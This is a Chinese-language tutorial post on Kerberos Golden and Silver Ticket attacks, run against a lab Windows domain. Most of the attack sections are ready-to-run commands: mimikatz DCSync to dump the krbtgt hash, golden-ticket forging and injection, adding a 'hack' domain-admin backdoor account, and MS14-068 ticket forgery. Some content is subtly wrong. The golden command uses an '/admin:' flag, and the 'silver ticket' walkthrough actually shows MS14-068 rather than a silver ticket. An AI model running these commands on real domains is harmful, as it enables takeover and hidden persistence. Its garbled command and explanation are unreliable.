一文搞懂黄金白银票据

前言:

在学习黄金白银票据之前,我们先要搞懂Kerberos(三头保卫神犬)协议。

Kerberos协议:

介绍:

Kerberos 是一种网络认证协议,其设计目标是通过密钥系统为客户机 / 服务器应用程序提供强大的认证服务。该认证过程的实现不依赖于主机操作系统的认证,无需基于主机地址的信任,不要求网络上所有主机的物理安全,并假定网络上传送的数据包可以被任意地读取、修改和插入数据。在以上情况下, Kerberos 作为一种可信任的第三方认证服务,是通过传统的密码技术(如:共享密钥)执行认证服务的。

认证过程:

一文搞懂黄金白银票据_第1张图片

1:AS-REQ:客户端向KDC的认证服务请求认购权证

2:AS-REP:身份认证通过后KDC发放认购权证

3:TGS-REQ:客户端拿着认购权证向KDC的票据授予服务器请求服务票据。

4:TGS-REP:身份认证通过后,KDC发放ST服务票据

5:AP-REQ:客户端拿着ST服务票据向服务端请求服务(服务端发送PAC给KDC校验PAC_PRIVSVR_CHECKSUM签名。注意服务端和KDC之间是通过RPC协议通信的,并且这步默认不会发送。KDC返回签名校验结果)

6:AP-REP:这一步是可选的。当客户端希望验证提供服务的服务端时,服务端返回该数据包进行双向认证。双向认证后服务端返回服务资源给客户端

kerberos各个阶段的安全问题:

一文搞懂黄金白银票据_第2张图片

黄金票据

原理:

krbtgt用户是域控中用来管理发放票据的用户,拥有了该用户的权限,就可以伪造系统中的任意用户,黄金票据就是伪造krbtgt用户的TGT(请求认证权证)票据。因为在kerberos请求的第一阶段的AS-REP中KDC返回的TGT是由Krbtgt用户的密码Hash加密的,因此如果我们有krbtgt的密码Hash就可以自己制作一个TGT,这个票据也被称为黄金票据。

利用前提:

  • 域名称
  • 域的SID值
  • 域的krbtgt用户Hash
  • 伪造用户名

特点:

不需要与AS进行交互,需要用户kebtgt的hash

使用场景:

在我们拿下域控,但是因为版本等一些原因我们抓不到域管理的明文密码,我们需要进行横向渗透,这个时候可以使用黄金票据来做权限维持。

靶场环境:

域:sunday.com

域控:ad01 10.10.10.100

域内主机:dc01 10.10.10.101

利用过程:

使用到的命令:

# 获取域名
whoami
net time /domain
ipconfig /all
    
# 获取SID
whoami /all

# 获取域的KRBTGT账户NTLM密码哈希或者aes-256值(使用mimikatz)
lsadump::dcsync /domain:sunday.com /user:krbtgt /csv

# 伪造管理员用户名
net group "domain admins"

# 伪造TGT
# 清除所有票据
klist purge

# 使用mimikatz伪造指定用户的票据并注入到内存
kerberos::golden  /admin:administrator  /domain:sunday.com  /sid:S-1-5-21-3762639449-1694192139-2733638201  /krbtgt:18a27ee598c1af5962a9e92e9d176780  /ptt

在dc01上未伪造直接访问:

一文搞懂黄金白银票据_第3张图片

在域控上获取krbtgt的Hash:

一文搞懂黄金白银票据_第4张图片

在域控上伪造管理员用户名

一文搞懂黄金白银票据_第5张图片

在dc上使用mimikatz伪造指定用户的票据并注入到内存

一文搞懂黄金白银票据_第6张图片

成功访问域控

一文搞懂黄金白银票据_第7张图片

添加域管账户

net user hack 123qwe!@# /add /domain
net user /domain
net group "Domain Admins" hack /add /domain

白银票据

原理:

白银票据是利用伪造ST。Client带着ST和Authenticator3向Server上的某个服务进行请求,Server接收到Client的请求之后,通过自己的Master Key 解密ST,从而获得 Session Key。通过 Session Key 解密 Authenticator3,进而验证对方的身份,验证成功就让 Client 访问server上的指定服务了。

利用前提:

  • 域名称
  • 域的SID值
  • 目标服务器FQDN
  • 可利用的服务(因为白银票据只能访问部分服务,所以必须要清楚什么服务可以利用)
  • server的NTLM Hash
  • 需要伪造的用户名

特点:

不需要与KDC进行交互,需要server的NTLM Hash 只能访问部分服务

使用场景:

在拿到一个普通的域成员权限的时候,可以尝试使用ms14-068伪造一个票据,从而让我们的域用户有域管理员权限。

靶场环境:

域:sunday.com

域控:ad01 10.10.10.100

域内主机:dc01 10.10.10.101

利用过程:

使用到的命令:

# 获取域名
whoami
net time /domain
ipconfig /all
    
# 获取SID
whoami /all

# 目标机器的FQDN
net time /domain  
就是hostname+域名 /target:\\WIN-75NA0949GFB.NOONE.com

# 可以利用的服务CIFS(磁盘共享服务)
/service:CIFS  

# 要伪造的用户名
/user:Administrator

MS14-068伪造票据

MS14-068.exe -u 用户名@域名 -p 密码 -s sid -d 域控服务器ip或者机器名

MS14-068.exe -u [email protected] -p QWEasd123 -s S-1-5-21-3762639449-1694192139-2733638201 -d 10.10.10.100

一文搞懂黄金白银票据_第8张图片

一文搞懂黄金白银票据_第9张图片

一文搞懂黄金白银票据_第10张图片

注入票据

mimikatz.exe "kerberos::purge"
mimikatz.exe "kerberos::ptc 证书路径"

一文搞懂黄金白银票据_第11张图片

成功访问

一文搞懂黄金白银票据_第12张图片

你可能感兴趣的:(kerberos,网络,网络安全,web安全,网络攻击模型,网络协议,系统安全)